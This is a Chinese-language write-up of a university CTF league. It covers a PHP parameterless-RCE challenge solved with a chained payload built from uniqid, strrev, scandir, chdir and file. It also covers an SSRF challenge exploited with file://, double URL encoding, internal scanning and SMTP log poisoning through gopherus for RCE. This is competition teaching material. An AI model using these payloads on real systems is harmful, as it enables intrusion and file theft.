0%

上海大学生联赛部分write up

签到

​ 把010编辑器放进010编辑器直接搜索就是了

decade

  • 页面源码提示代码在/code并且flag在这个页面

    img

  • 代码和字节跳动的一道boring-code相似,但是过滤得更多

     <?php
    highlight_file(__FILE__);
    $code = $_GET['code'];
    if (!empty($code)) {
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                        echo 'bye~';
                    } else {
                        eval($code);
                    }
                }
            else {
                echo "No way!!!";
            }
    }else {
            echo "No way!!!";
        }
    No way!!!
  • 在一轮FUZZ之后我们可以得知有下面函数可用。(翻了好久,总共能过这个正则的有300多个函数吧)

    echo、implode、scandir、chr、strrev、uniqid、file、chdir、next、pos、end
  • 我们用字节跳动的无参数RCE知道,要读取目录那么就必须构造出scandir('.'),一轮无脑翻阅手册后可以知道uniqid()会生成一个唯一的临牌,但是呢,他后半部分是会变化的,那么我们将其翻转过来就能动态构造任意字符如:

    <?php
    error_reporting(0);
    for($i=0;$i<1000;$i++)
    echo(chr(strrev(uniqid())));
    ?>

    img

  • 非常明显已经可以构造在不断刷新这个网页在某一时刻就能构造出来点(.)进而读取到目录,而这里正则只允许26个字母构成的函数,所以var_dump这种是不可能使用了,所以这里使用echo、implode将返回的数组变成字符串来读取。那么构造payload如下,使用burpsuite去爆破。

    echo(implode(scandir(chr(strrev(uniqid())))));

    img

  • 可以看到已经读取了当前目录下的文件列表吗,那么下面就是要读取上层目录下的index.php文件。首先读取一下上层目录的列表,我们从上读取当前目录可以知道返回的文件目录数组如下关系:

    [0=>'.',1=>'..',3=>'index.php']
  • 那么我们要读取上层目录就需要构造scandir('..'),那么很明显我们获取第二个元素即可得到两点,构造payload如下:

      echo(implode(scandir(next(scandir(chr(strrev(uniqid())))))));

    img

  • 从这里我们可以得知index.php在最后一个元素,那么我们可以使用end()直接获取到,但是要读取到这个文件我们首先需要先跳转到这个目录,那么可以这样构造,使用chdir向上跳转一个目录:

    chdir(next(scandir(chr(strrev(uniqid())))))
  • 读取文件呢,我们可以使用第一个payload读取到文件目录,然后使用end()函数去读取最后一个元素,进而读取文件。

    file(end(scandir(chr(strrev(uniqid()))))
  • 那么综合起来payload如下:

    echo(implode(file(end(scandir(chr(strrev(uniqid(chdir(next(scandir(chr(strrev(uniqid())))))))))))));
  • 但是这里存在一个问题,那就是两次去的值不一定都是点,那么就需要进行N次爆破,在某一时刻这两个值都取到点的时候那么就会读取成功。

    img

WEB2

  • 开头非常简单的ssrf,直接使用file:///协议即可读到内容

    <?php
    highlight_file(__FILE__);
    $x = $_GET['x'];
    $pos = strpos($x,"php");
    if($pos){
            exit("denied");
    }
    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,"$x");
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    $result = curl_exec($ch);
    echo $result; 

    img

  • 这里直接读flag.php,直接使用双url编码绕过

    index.php?x=file:///var/www/html/flag.p%2568p

img

  • 提示/etc/hosts

    img

  • 发现内网地址,直接爆破内网,发现172.18.0.2返回提示有文件包含漏洞

    img

  • 扫描这个主机开放的端口

    img

  • 发现25端口开放,这里可以联想到结合文件包含,使用 gopherus 污染日志文件从而达到RCE。使用 gopherus 生成利用脚本。污染成功后使用文件包含即可rce,日志文件路径:

    /var/log/maillog
    /var/log/mail.log
    /var/adm/maillog
    /var/adm/syslog/mail.log

img

img